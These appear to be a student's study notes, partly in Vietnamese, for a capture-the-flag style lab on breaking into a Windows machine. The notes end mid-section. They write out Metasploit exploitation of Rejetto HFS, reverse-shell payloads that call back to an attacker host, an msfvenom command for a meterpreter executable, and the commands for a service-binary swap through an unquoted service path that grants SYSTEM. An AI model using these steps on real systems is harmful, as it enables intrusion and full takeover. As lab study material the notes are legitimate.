**Topic:** Hacking into a Windows machine

**Good links:**

<https://blog.razrsec.uk/steel-mountain-walkthrough/>

<https://exploit-db.com>

**PowerUp.ps1** cheatsheet: <https://blog.certcube.com/powerup-cheatsheet/>

**Tools:**

+Metasploit: *gain initial access*

+PowerShell: *privilege escalation for enumeration*

+? (new technique)

PowerUp.ps1: store **windows privilege escalations** vectors based on misconfig!

Check for any misconfigs, abnormalities,

[+] list of services and their info

**Task 1:**

Reverse image scanning

Curl -s <the links>

**Task 2: Initial Access with Metasploit**

nmap -sV -sC -A -vv -T3 <IP>

Gain Shell Access:

**Use exploit/windows/http/rejetto\_hfs\_exec**

Show options --- show module para options

set payload windows/x64/shell/reverse\_tcp

set RHOST <victim ip>

set LHOST <attacker ip>

set RPORT 8080

**run !**

**Task 3: Privilege Escalation**

Gain Meterpreter Access:

– set payloads to meterpreter

Meterpreter Shell:

Uploads <path>/PowerUp.ps1 ----- Up load the local shell to target

Load PowerShell ---- load powershell extension

Powershell\_shell ---- jump to it

. .\PowerUp.ps1

<https://blog.certcube.com/powerup-cheatsheet/>

Generate a reverse Shell (Windows Executable ) có Admin Privilege:

Text

Description automatically generated **Idea:** PowerUp.ps1 script spits out a list of services and their useful information

ASC service **Flaws:**

\_ Unquoted Service Path vulnerability

\_ writeable to the directory

\_**CanRestart:** True

\_**StartName**: LocalSystem (**Admin Privilege**)

Now, generate a reverse shell .exe (a fake ASC.exe service) and write it to the service’s directory. Then restart the service to get Admin priv. (since ASC was started by “LocalSystem”) 🡪 **get an ADMIN shell**

**Process:**

**B1** $ msfvenom -p **windows/meterpreter/reverse\_tcp** LHOST=<**attacker\_IP**> LPORT=1111 -f exe -o ASCService.exe

**B2**: Upload, start nc listener and Copy that executables malware to the service’s directory

* Nc -nvlp <#port>
* sc stop AdvancedSystemCareService9
* copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
* sc start AdvancedSystemCareService9

**B3:** Enjoy the Admin shell

**Task 4: Without Metasploit**

**Tools:**

* nc.exe: To listen for incoming reverse shell connection (from victim)
* WebServer: hosting nc.exe (on attacker)
* msfvenom 🡪 reserverShell .exe
* RemoteCommandExecution.py: py and ps1 scripts, execute **remote commands** in the HFS server (:8080)
  + [*https://www.exploit-db.com/exploits/39161*](https://www.exploit-db.com/exploits/39161)

**Idea:** Vẫn đánh “Unquoted Service path” vulnerability để gain access through *reverse shell*.

RemoteCommandExecution.py: lệnh để tạo reverse\_script, execute\_it and connect back nc.exe <attackIP> <attackPort>

**Để escalate lên Admin:**

PowerShell command